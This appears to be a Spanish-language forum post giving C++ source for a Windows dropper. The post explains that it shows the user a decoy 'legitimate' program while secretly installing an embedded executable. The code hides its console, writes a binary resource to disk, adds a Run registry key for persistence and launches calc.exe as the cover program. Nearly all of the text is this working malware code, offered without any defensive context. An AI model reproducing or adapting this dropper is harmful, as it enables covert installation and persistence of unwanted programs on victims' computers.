El usuario verá la ejecución de un programa "legítimo" mientras que por detrás se instalarán uno o varios más (en este caso uno) en la ruta deseada y se añadirá una clave al Regedit para lograr persistencia.
Resource.rc:
Código: Seleccionar todo
IDB_EMBEDEXE BINARY "C:ruta"
Código: Seleccionar todo
#define IDB_EMBEDEXE 102
Código: Seleccionar todo
#include <Windows.h>
#include <string>
#include <tchar.h>
#include <fstream>
#include "resource.h"
#pragma warning(disable:4996)
using namespace std;
string ruta = "ruta";
string nombreExe = "test.exe";
void ejecucionFalsa(string command) { //Crear un proceso del programa que queremos que el usuario vea
STARTUPINFO info = { sizeof(info) };
PROCESS_INFORMATION processInfo;
wchar_t WBuf[100];
mbstowcs(WBuf, command.c_str(), 99);
LPTSTR szCmdline = _tcsdup(WBuf);
if (CreateProcess(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo)) {
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
}
}
void instalacion(string rutaInstalacion, string nombreDelComprimido) { //crear el archivo añadido como recurso
HRSRC hResource = FindResource(NULL, MAKEINTRESOURCE(IDB_EMBEDEXE), L"BINARY");
HGLOBAL hGlobal = LoadResource(NULL, hResource);
size_t exeSiz = SizeofResource(NULL, hResource);
char* exeBuf = (char*)LockResource(hGlobal);
ofstream createFile(rutaInstalacion + nombreDelComprimido, ios::binary);
createFile.write((const char*)exeBuf, exeSiz);
createFile.close();
}
void generarPersistencia(HKEY regKey, string regPath, string nombre, string valor) { //generar la persistencia
HKEY hKey = NULL;
RegCreateKeyA(regKey, regPath.c_str(), &hKey);
RegSetValueExA(hKey, nombre.c_str(), 0, REG_SZ, (BYTE*)valor.c_str(), valor.length());
RegCloseKey(hKey);
}
int main() {
FreeConsole();
instalacion(ruta, nombreExe);
generarPersistencia(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Test", (ruta + nombreExe));
ejecucionFalsa("calc.exe"); //nombre del exe falso
return 0;
}